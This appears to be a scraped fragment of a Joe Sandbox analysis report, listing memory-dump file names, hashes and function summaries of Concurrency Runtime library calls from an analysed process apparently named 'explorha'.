Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fa328b83290a95ac0455bd0b42808fdf0abc37dc553732e7ebd2c9e6c53d305
Instruction ID: 34e79aadc2c661387650e12cac944b9ac8d3274b4f6394ec12c6e6dd2add9a16
Opcode Fuzzy Hash: 1fa328b83290a95ac0455bd0b42808fdf0abc37dc553732e7ebd2c9e6c53d305
Instruction Fuzzy Hash: 26519EB2E052159FDB29CF5AE9817AEBBF0FB48310F34866AD505EB290D7749940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B03D5E Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00B03D70

Part of subcall function 00B03B6E: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00B03B91

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00B03D91
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00B03D9E
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00B03DEC
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00B03E73
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00B03E86
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00B03ED3

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 6afd9a2c8f334b83539b7d9a5c71dfe7f3ea1d87a3ed6d4a8fc709282b247190
Instruction ID: 45f5541d413d9afe5f8bad871161285b41aee3e97d3011cf840527322fc40f4a
Opcode Fuzzy Hash: 6afd9a2c8f334b83539b7d9a5c71dfe7f3ea1d87a3ed6d4a8fc709282b247190
Instruction Fuzzy Hash: 6B81787090424AAEDF169F94C989BBE7FFAEF55708F0400D8EC416B292C7328E55DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00B03FFD Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00B0400F

Part of subcall function 00B03B6E: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00B03B91

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00B04030
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00B0403D
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00B0408B
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00B04133
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00B04165

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 0074f3399c816e1e3689df72f7b7ca23a6d401df30d5dab6caa7e96a4a43fe1a
Instruction ID: 23f6e8a856b10deb7ed9eca66e77acc7d3b602b3462be42e53548099bcec258d
Opcode Fuzzy Hash: 0074f3399c816e1e3689df72f7b7ca23a6d401df30d5dab6caa7e96a4a43fe1a
Instruction Fuzzy Hash: 177177B0A00209ABDF15DF94C980ABE7FF6EF95304F044098EE51AB292D732DD56DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00AF3EC2 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00AF3F06
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AF3F6F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AF3FA3

Part of subcall function 00AF1E7D: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00AF1E9D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00AF4023
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AF406B

Part of subcall function 00AF1E52: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00AF1E6E

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AF407F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00AF4090
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00AF40DD
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00AF410E

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 513915c27355158222b415a907037e2b70d2649eb0c4ee3bb755159e6eb7d71f
Instruction ID: 0c30b0c117e9be96c224287f5686b3d28738148a18c00c6df6ab85d591aeb1f0
Opcode Fuzzy Hash: 513915c27355158222b415a907037e2b70d2649eb0c4ee3bb755159e6eb7d71f
Instruction Fuzzy Hash: 4D81BEB2A4421E9BCF28DFE8D8915BEB7F1BB48300B24452DF645E7640DF349A80CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00AF806A Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AF80AF
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00AF80E1
List.LIBCONCRT ref: 00AF811C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00AF812D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00AF8149
List.LIBCONCRT ref: 00AF8184
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00AF8195
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AF81B0
List.LIBCONCRT ref: 00AF81EB
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00AF81F8

Part of subcall function 00AF756F: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AF7587
Part of subcall function 00AF756F: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AF7599

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
